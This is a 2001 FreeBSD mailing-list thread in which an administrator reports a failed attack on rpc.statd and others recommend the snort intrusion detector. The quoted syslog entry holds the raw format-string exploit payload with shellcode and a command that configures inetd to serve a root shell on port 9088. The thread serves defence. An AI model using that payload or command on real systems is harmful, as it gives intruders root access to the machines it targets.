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Date:      Thu, 4 Jan 2001 11:37:32 -0500
From:      "Raymond Hicks" <rayhicks@UU.NET>
To:        "'Guy Helmer'" <ghelmer@palisadesys.com>
Cc:        <Eric_Stanfield@kenokozie.com>, <freebsd-questions@FreeBSD.ORG>
Subject:   RE: hack attempt (again) - help
Message-ID:  <003901c0766c$a3a06fc0$d7902799@sysenglt112>
In-Reply-To: <Pine.LNX.4.21.0101040951330.10523-100000@magellan.palisadesys.com>

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yes..  i didnt see that suggestion till after I replied...  snort is my
recommendation as well..

-----Original Message-----
From: Guy Helmer [mailto:ghelmer@palisadesys.com]
Sent: Thursday, January 04, 2001 10:53 AM
To: Raymond Hicks
Cc: Eric_Stanfield@kenokozie.com; freebsd-questions@FreeBSD.ORG
Subject: RE: hack attempt (again) - help


On Thu, 4 Jan 2001, Raymond Hicks wrote:

> why dont you just run a sniffer?

snort is a sniffer with a lot of good stuff (TM) to find evil things.

> -----Original Message-----
> From: owner-freebsd-questions@FreeBSD.ORG
> [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Guy Helmer
> Sent: Thursday, January 04, 2001 10:26 AM
> To: Eric_Stanfield@kenokozie.com
> Cc: freebsd-questions@FreeBSD.ORG
> Subject: Re: hack attempt (again) - help
>
>
> On Thu, 4 Jan 2001 Eric_Stanfield@kenokozie.com wrote:
>
> > Alright this jerkoff has once again attempted to hack one of my freebsd
> > machines by trying what I assume is a buffer overflow to rpc:
> >
> > Jan  3 23:19:23 mrtg rpc.statd: Invalid hostname to sm_mon:
> > ^D÷ÿ¿^D÷ÿ¿^E÷ÿ¿^E÷ÿ¿^F÷ÿ¿^F÷ÿ¿^G÷ÿ¿^G÷ÿ¿%08x %08x %08x %08x %08x %08x
%08x
> > %08x %08x %08x %08x %08x %08x %08x
> >
>
%0242x%n%055x%n%012x%n%0192x%nM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-
>
^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-
>
^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-
> ^PëK^M-
> >
> > v¬M-^Cî M-^M^(M-^CÆ M-   ^°M-^Cî M-^M^.M-^CÆ M-^CÃ M-^Cë#M-  ^´1ÀM-^Cî
> > M-^HF'M-^HF*M-^CÆ M-^HF«M-    F¸°+, M-   óM-^MN¬M-^MV¸ÍM-^@1ÛM-
> > Ø@ÍM-^@è°ÿÿÿ/bin/sh -c echo "9088 stream tcp nowait root /bin/sh -i" >>
> > /tmp/m; /usr/sbin/inetd /tmp/m;
> >
> > The interesting bit is what he (she?) is attempting to sneak in at the
end
> > of the garbage sent to the port.
> >
> > I've given the system a thorough check and this seems to have been a
> second
> > failed attempt.  I'm now annoyed, however, and would like to be able to
at
> > least log what address this stuff is originating from.   Can anyone
> suggest
> > something from the ports that would do the trick?  I've disabled nfs/rpc
> > but I'm sure the hacker will come knocking again.
>
> snort with a current copy of the rule set from
> http://www.whitehats.com/ids/index.html ought to detect this (and lots of
> other script kiddie attempts).

--
Guy Helmer, Ph.D.
Sr. Software Engineer, Palisade Systems         ---
ghelmer@palisadesys.com
http://www.palisadesys.com/~ghelmer




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